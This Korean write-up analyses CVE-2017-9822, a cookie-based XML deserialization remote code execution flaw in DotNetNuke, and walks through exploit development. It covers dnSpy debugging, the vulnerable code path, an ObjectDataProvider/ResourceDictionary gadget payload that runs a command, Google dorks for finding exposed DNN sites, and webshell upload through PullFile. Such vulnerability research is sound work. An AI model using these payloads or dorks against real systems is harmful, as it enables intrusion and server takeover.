
CVE-2017-9822에 대한 단계별 기술 분석 및 익스플로잇 개발 - DotNetNuke의 DNNPersonalization 쿠키 내 안전하지 않은 XML 역직렬화를 통한 치명적인 원격 코드 실행(RCE). 환경 설정, dnSpy를 이용한 디버그 구성, (ObjectDataProvider, ResourceDictionary) 가젯 체인 구축 및 웹쉘 업로드를 포함합니다.
DNN(일명 DotNetNuke) 9.1.1 이전 버전은 쿠키를 통해 원격 코드 실행이 가능하며, "2017-08 (중요) DNN 웹사이트에서 원격 코드 실행 가능"이라고도 합니다.

DotNetNuke란? DotNetNuke는 C#으로 작성되고 .NET 플랫폼 기반의 무료 오픈 소스 웹 CMS(콘텐츠 관리 시스템)입니다. 기술 지식이 많지 않아도 몇 분 안에 DNN 웹 인스턴스를 배포할 수 있기 때문에 인터넷에서 널리 사용되고 있습니다. 또 다른 중요한 기능은 VB.NET이나 C#으로 빌드된 타사 사용자 정의 모듈을 생성하거나 가져올 수 있다는 것입니다. DNN은 Windows Server, IIS, ASP.NET 및 SQL Server for Windows로 구성된 스택에 설치할 수 있습니다. DNN은 이메일을 통한 신규 사용자 인증 등록도 지원하지만, 이 보안 기능이 작동하려면 유효한 SMTP 서버를 구성해야 합니다. DNN의 주요 기능 • 모듈식 아키텍처: DNN은 커뮤니티에서 개발한 모듈(기능 모듈)을 추가하여 쉽게 확장할 수 있습니다. 관리자는 관리 인터페이스를 통해 새 모듈(.zip 패키지 업로드)을 로드하거나 서버의 디렉터리에 직접 압축을 풀 수 있습니다. • 사용자 관리: 시스템은 포털 및 모듈에 대한 세부적인 보안 및 권한 부여(역할/권한) 기능을 제공합니다. 사용자 계정, 역할 및 권한은 DNN 내에서 중앙 집중식으로 관리됩니다. • 콘텐츠 관리: WYSIWYG 편집, 게시물, 이미지, 문서 관리 등을 지원합니다. 워크플로우/게시 시스템(검토 프로세스를 통한 게시) 및 콘텐츠 버전 관리가 있습니다. 콘텐츠는 공통 데이터베이스(SQL Server)에 저장됩니다. • API 및 확장 통합: DNN은 개발자가 사용자 정의 모듈(WebForms, MVC, Razor)을 개발하고 외부 서비스를 통합할 수 있는 .NET API를 제공합니다. 다양한 타사 라이브러리(테마, 전자상거래 모듈, 포럼 등)를 사용할 수 있어 기능을 확장할 수 있습니다. • 인터페이스 및 테마: 콘텐츠와 인터페이스를 분리하는 스킨(테마) 시스템은 유연한 웹 디자인을 가능하게 합니다. DNN으로 생성된 웹사이트는 스킨을 변경하여 인터페이스를 변경할 수 있습니다. • 모듈 설치 메커니즘: DNN 모듈은 ZIP 파일로 패키징되며, 관리 인터페이스를 통해 설치하거나 수동으로 압축을 풀 수 있습니다. DNN은 컴파일된 모듈(.NET DLL)과 동적 Razor 모듈을 모두 지원합니다. 모든 모듈은 각 페이지의 권한 설정을 통해 액세스를 허용하거나 취소할 수 있습니다.
운영 체제: Windows 10 .NET Framework: 4.5.1+ 웹 서버: Microsoft IIS 10 데이터베이스 서버: Microsoft® SQL Server® 2019 Express, SQL Server Management Studio Dotnetnuke 버전 9.1.0 인터넷에서 사용 가능한 Dotnetnuke 배포 버전을 찾고 웹사이트에 따라 테스트하려면 다음 Google dorks를 사용할 수 있습니다: inurl:dnn.js inurl:dnn.modalpopup.js inurl:dnn.servicesframework.js inurl:dnn.xml.js inurl:dnncore.js inurl:/Portals/0/ inurl:/DesktopModules/ inurl:/DNNCorp/ inurl:/DotNetNuke inurl:/tabid//Default.aspx inurl:/tabid//language/*/Default.aspx intext:"by DNN Corp " 환경을 구축하려면 다음 문서를 참조하십시오
어셈블리 속성을 "디버그 가능" 속성으로 변경합니다. 이는 런타임 중에 일부 최적화가 적용되어 디버그를 방해하고 일부 중단점이 적중되지 않거나 일부 변수가 존재하지 않을 수 있기 때문에 매우 중요합니다. DotNetNuke.dll을 dnSpy(32비트)에 로드한 다음 어셈블리 특성 편집(C#)을 선택합니다.

다음 줄을
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
다음으로 변경합니다
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints | DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

그런 다음 컴파일을 선택하고 이 모듈을 원래 위치에 다시 저장합니다. 다음으로, 관리자 권한으로 dnSpy를 실행하고 Debug -> Attach to Process를 선택합니다.

w3wp.exe 프로세스를 선택합니다.

이 프로세스를 디버그용으로 연결해야 하는 이유는 IIS의 웹 애플리케이션이 일반적으로 작업자 프로세스를 사용하기 때문입니다. 이들은 각 애플리케이션 풀에 대해 IIS 웹 서버로 전송되는 웹 요청을 처리하는 역할을 하며, 하나의 머신에 여러 작업자 프로세스가 있을 수 있으며 모두 w3wp.exe라는 동일한 이름을 공유합니다. 작은 주의 사항으로, 실행 중인 w3wp 프로세스가 없을 때가 있습니다. IIS는 첫 번째 웹 요청을 받을 때까지 작업자 프로세스를 시작하지 않습니다.

디버그로 돌아가서, 프로세스를 연결한 후 다음을 선택합니다: Debug -> Windows -> Modules

모듈 중 하나를 클릭하고 Open All Modules를 선택합니다.

이제 어셈블리 창에서 관련된 모든 모듈을 볼 수 있습니다.

역직렬화는 바이트 스트림을 해석하여 애플리케이션이 실행할 수 있는 데이터로 변환하는 프로세스입니다. 역직렬화의 주요 문제는 대부분의 경우 사용자 입력 데이터를 사용할 수 있다는 점입니다. 즉, 애플리케이션의 요구되는 형식에 악성 페이로드를 삽입하여 로직을 조작하거나 데이터를 노출시키거나 원격 코드 실행까지 가능하게 할 수 있습니다. DotNetNuke는 DNNPersonalization 쿠키를 사용하여 익명 사용자의 개인화 설정을 저장합니다(인증된 사용자의 설정은 프로필 페이지를 통해 저장됩니다). 보고서에 따르면 취약점은 DNNPersonalization 쿠키 처리 부분에서 발생합니다. 이 쿠키는 사용자 프로필을 로드하는 데 사용되지만, 존재하지 않는 페이지(404 오류)에 접근할 때도 인증되지 않은 상태에서 트리거될 수 있습니다. 이 버그의 진입점은 DotNetNuke.dll 모듈의 LoadProfile 함수에 있습니다. dnSpy로 이 모듈을 디컴파일하고 자세히 분석해 보겠습니다: PersonalizationController#LoadProfile(int, int)

userId가 null이 아닌 경우, 변수 text는 요청의 DNNPersonalization 쿠키 값이 할당된 후 Globals#DeserializeHashTableXml이 호출됩니다.

Globals#DeserializeHashTableXml은 XmlUtils#DeSerializeHashtable을 호출합니다.

처리 절차는 다음과 같습니다:
Burp를 사용하여 404 상태를 트리거하는 요청 + DNNPersonalization 쿠키를 보냅니다.

여기서 404를 처리하는 함수인 Handler404OrException이 체인을 트리거하여 Personalization.LoadProfile(int,int)를 호출하는 것을 볼 수 있습니다.

위 코드에서 주목할 점은 현재 요청이 IsAuthenticated인지 확인하는 조건문이 있으며, 우리가 방금 보낸 요청은 존재하지 않는 진입점에 대한 인증되지 않은 요청임이 분명합니다. 그렇다면 현재 요청이 인증된 사용자로 수행되는 이유는 무엇일까요? 계속 디버그하여 스택의 맨 아래 근처로 가면 AdvancedUrlRewriter#Handle404OrException에 다음과 같은 else if 루프가 있습니다.

여기서는 request context.User가 현재 null인지 확인하고, 그렇다면 context.User를 현재 스레드 사용자로 할당합니다. 중단점을 설정하면 다음과 같은 결과를 볼 수 있습니다.

이제 IsAuthenticated 변수 값이 true이고, 사용자는 IIS 서버의 IIS APPPOOL 그룹에 속한 현재 스레드를 실행하는 사용자로 할당되므로 요청이 인증된 사용자로 수행됩니다. 이 로직이 존재하는 이유는 404 핸들러가 HttpContext.User가 설정되기 전에 호출되고, 이후 처리 흐름이 User.IsAuthenticated에 의존하기 때문에 Null 참조 오류를 방지하기 위해 개발자가 현재 스레드의 WindowsPrincipal 개체로 User 개체를 할당했기 때문입니다.
XmlSerializer는 Microsoft 고유의 직렬화 클래스로, 문자열과 xml 개체 간 변환에 사용됩니다. 네임스페이스는 System.Xml.Serialization입니다. XmlSerializer 사용 예:


XmlSerializer를 통한 RCE 공격 조건은 XmlSerializer 생성자에 전달되는 데이터 유형을 반드시 제어할 수 있어야 한다는 것입니다. 즉, gadget으로 이어지는 데이터 유형이 XmlSerializer.mapping 속성에 전달되어야 합니다.
xml 역직렬화 공격에 가장 널리 사용되는 gadget은 ObjectDataProvider입니다. 이 gadget은 ysoserrial .net 도구로 생성할 수 있습니다.
기본적으로 이 클래스를 사용하면 모든 클래스의 모든 메서드를 호출할 수 있습니다.

예를 들어 다음과 같이 매개변수를 전달하여 Process.Start를 호출할 수 있습니다.
ObjectDataProvider o = new ObjectDataProvider(); o.MethodParameters.Add("cmd.exe"); o.MethodParameters.Add("/c calc"); o.MethodName = "Start"; o.ObjectInstance = new Process(); Console.ReadKey();
위 코드를 사용하여 xml 역직렬화 페이로드를 구축합니다.


ResourceDictionary는 wpf 개발에 사용됩니다. wpf이므로 xaml 언어를 사용해야 합니다. 먼저 ResourceDictionary를 사용하여 명령을 실행하는 페이로드를 살펴보겠습니다.
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <b:String>cmd</b:String> <b:String>/c calc</b:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>
이 xaml 설명:

위 코드를 실행하는 것은 ObjectDataProvider -> Person.Evil()과 동일합니다. XmlSerializer를 통해 RCE 공격을 수행하면 흐름은 ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc")와 같습니다.
이제 목표는 역직렬화를 수행할 때 코드를 실행할 수 있는 개체를 찾는 것입니다. POC에서는 DotNetNuke.Common.Utilities.FileSystemUtils의 PullFile 함수를 사용하여 "임의 파일 업로드"를 악용합니다.


obj.xml을 얻습니다.

페이로드 전송


DNN이 쿠키를 역직렬화한 후, http 서버에 /cmd.aspx 요청이 있습니다. 즉, 역직렬화에 성공했으며 webshell이 DN에 업로드되었습니다.

마찬가지로 DotNetNuke.Common.Utilities.FileSystemUtils의 WriteFile 함수를 이용하여 파일을 읽습니다.

